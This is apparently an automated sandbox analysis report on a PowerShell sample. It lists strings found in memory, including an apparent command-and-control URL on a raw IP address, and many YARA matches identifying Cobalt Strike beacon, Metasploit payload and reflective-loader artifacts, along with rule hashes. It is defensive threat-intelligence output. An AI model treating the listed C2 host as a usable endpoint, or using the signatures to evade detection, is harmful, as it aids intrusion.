Source: powershell.exe, 00000000.00000002.4119501587.0000022EF9A86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://3.78.244.11:8080/dot.gifG
Source: powershell.exe, 00000000.00000002.4119501587.0000022EF99F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://3.78.244.11:8080/dot.gifPDL
Source: powershell.exe, 00000000.00000002.4121724697.0000022EF9D85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://3.78.244.11:8080/dot.gifU
Source: powershell.exe, 00000000.00000002.4119501587.0000022EF9A86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://3.78.244.11:8080/dot.gife
Source: powershell.exe, 00000000.00000002.4119501587.0000022EF9A86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://3.78.244.11:8080/dot.gifll
Source: powershell.exe, 00000000.00000002.4119501587.0000022EF9A86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://3.78.244.11:8080/dot.gifllV
Source: powershell.exe, 00000000.00000002.4119501587.0000022EF9A86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://3.78.244.11:8080/dot.gifystem32
Source: powershell.exe, 00000000.00000002.4119501587.0000022EF9A86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://3.78.244.11:8080/dot.gif~
Source: powershell.exe, 00000000.00000002.4119501587.0000022EF9A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: powershell.exe, 00000000.00000002.4098790194.0000022EE2E6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000000.00000002.4098790194.0000022EE1B08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000000.00000002.4098790194.0000022EE18E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000000.00000002.4098790194.0000022EE1B08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000000.00000002.4098790194.0000022EE18E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000000.00000002.4098790194.0000022EE1B08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.4098790194.0000022EE2508000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.ps1, type: SAMPLE	Matched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth
Source: amsi64_1900.amsi.csv, type: OTHER	Matched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth
Source: 0.2.powershell.exe.22efa0b0000.1.unpack, type: UNPACKEDPE	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 0.2.powershell.exe.22efa0b0000.1.unpack, type: UNPACKEDPE	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 0.2.powershell.exe.22efa0b0000.1.unpack, type: UNPACKEDPE	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 0.2.powershell.exe.22efa0b0000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 0.2.powershell.exe.22efa0b0000.1.unpack, type: UNPACKEDPE	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 0.2.powershell.exe.22efa0b0000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 0.2.powershell.exe.22efa0b0000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 0.2.powershell.exe.22ef9b10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 0.2.powershell.exe.22ef9b10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 0.2.powershell.exe.22ef9b10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 0.2.powershell.exe.22ef9b10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 0.2.powershell.exe.22ef9b10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 0.2.powershell.exe.22ef9b10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 0.2.powershell.exe.22ef9b10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 0.2.powershell.exe.22efa0b0000.1.unpack, type: UNPACKEDPE	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 0.2.powershell.exe.22efa0b0000.1.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.2.powershell.exe.22efa0b0000.1.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike payload Author: ditekSHen
Source: 0.2.powershell.exe.22ef9b10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 0.2.powershell.exe.22ef9b10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.2.powershell.exe.22ef9b10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike payload Author: ditekSHen
Source: 0.2.powershell.exe.22efa0b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 0.2.powershell.exe.22efa0b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 0.2.powershell.exe.22efa0b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 0.2.powershell.exe.22efa0b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 0.2.powershell.exe.22efa0b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 0.2.powershell.exe.22efa0b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 0.2.powershell.exe.22efa0b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 0.2.powershell.exe.22efa0b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 0.2.powershell.exe.22efa0b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike payload Author: ditekSHen
Source: 0.2.powershell.exe.22ef9b10000.0.unpack, type: UNPACKEDPE	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 0.2.powershell.exe.22ef9b10000.0.unpack, type: UNPACKEDPE	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 0.2.powershell.exe.22ef9b10000.0.unpack, type: UNPACKEDPE	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 0.2.powershell.exe.22ef9b10000.0.unpack, type: UNPACKEDPE	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 0.2.powershell.exe.22ef9b10000.0.unpack, type: UNPACKEDPE	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike payload Author: ditekSHen
Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike payload Author: ditekSHen
Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: Process Memory Space: powershell.exe PID: 1900, type: MEMORYSTR	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: Process Memory Space: powershell.exe PID: 1900, type: MEMORYSTR	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: Process Memory Space: powershell.exe PID: 1900, type: MEMORYSTR	Matched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth
Source: Process Memory Space: powershell.exe PID: 1900, type: MEMORYSTR	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: Process Memory Space: powershell.exe PID: 1900, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 0_2_0000022EFA0C0F34 CreateProcessAsUserA,GetLastError,GetLastError,CreateProcessA,GetLastError,GetCurrentDirectoryW,GetCurrentDirectoryW,CreateProcessWithTokenW,GetLastError,GetLastError,GetLastError,GetLastError,

0_2_0000022EFA0C0F34

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EF9B3E600	0_2_0000022EF9B3E600
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EF9B1CE3C	0_2_0000022EF9B1CE3C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EF9B2F5A8	0_2_0000022EF9B2F5A8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EF9B3CFF0	0_2_0000022EF9B3CFF0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EF9B3B7B0	0_2_0000022EF9B3B7B0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EF9B26F38	0_2_0000022EF9B26F38
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EF9B19680	0_2_0000022EF9B19680
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EF9B3C680	0_2_0000022EF9B3C680
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EF9B31264	0_2_0000022EF9B31264
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EF9B31928	0_2_0000022EF9B31928
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EF9B35914	0_2_0000022EF9B35914
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EF9B1916C	0_2_0000022EF9B1916C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EF9B3239C	0_2_0000022EF9B3239C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EF9B3C397	0_2_0000022EF9B3C397
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EF9B30374	0_2_0000022EF9B30374
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EF9B20334	0_2_0000022EF9B20334
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EF9B3AAB0	0_2_0000022EF9B3AAB0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0C867C	0_2_0000022EFA0C867C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0DB6B0	0_2_0000022EFA0DB6B0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0C0F34	0_2_0000022EFA0C0F34
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0D0F74	0_2_0000022EFA0D0F74
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0D2F9C	0_2_0000022EFA0D2F9C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0DCF97	0_2_0000022EFA0DCF97
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0D6514	0_2_0000022EFA0D6514
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0D2528	0_2_0000022EFA0D2528
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0B9D6C	0_2_0000022EFA0B9D6C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0D1E64	0_2_0000022EFA0D1E64
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0BA280	0_2_0000022EFA0BA280
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0DD280	0_2_0000022EFA0DD280
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0C7B38	0_2_0000022EFA0C7B38
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0DC3B0	0_2_0000022EFA0DC3B0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0DDBF0	0_2_0000022EFA0DDBF0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0D01A8	0_2_0000022EFA0D01A8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0DF200	0_2_0000022EFA0DF200
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0BDA3C	0_2_0000022EFA0BDA3C

Source: 3.ps1, type: SAMPLE	Matched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth, description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: amsi64_1900.amsi.csv, type: OTHER	Matched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth, description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.powershell.exe.22efa0b0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 0.2.powershell.exe.22efa0b0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 0.2.powershell.exe.22efa0b0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 0.2.powershell.exe.22efa0b0000.1.unpack, type: UNPACKEDPE	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.powershell.exe.22efa0b0000.1.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 0.2.powershell.exe.22efa0b0000.1.unpack, type: UNPACKEDPE	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.powershell.exe.22efa0b0000.1.unpack, type: UNPACKEDPE	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 0.2.powershell.exe.22ef9b10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 0.2.powershell.exe.22ef9b10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 0.2.powershell.exe.22ef9b10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 0.2.powershell.exe.22ef9b10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.powershell.exe.22ef9b10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 0.2.powershell.exe.22ef9b10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.powershell.exe.22ef9b10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 0.2.powershell.exe.22efa0b0000.1.unpack, type: UNPACKEDPE	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.powershell.exe.22efa0b0000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.2.powershell.exe.22efa0b0000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: 0.2.powershell.exe.22ef9b10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.powershell.exe.22ef9b10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.2.powershell.exe.22ef9b10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: 0.2.powershell.exe.22efa0b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 0.2.powershell.exe.22efa0b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
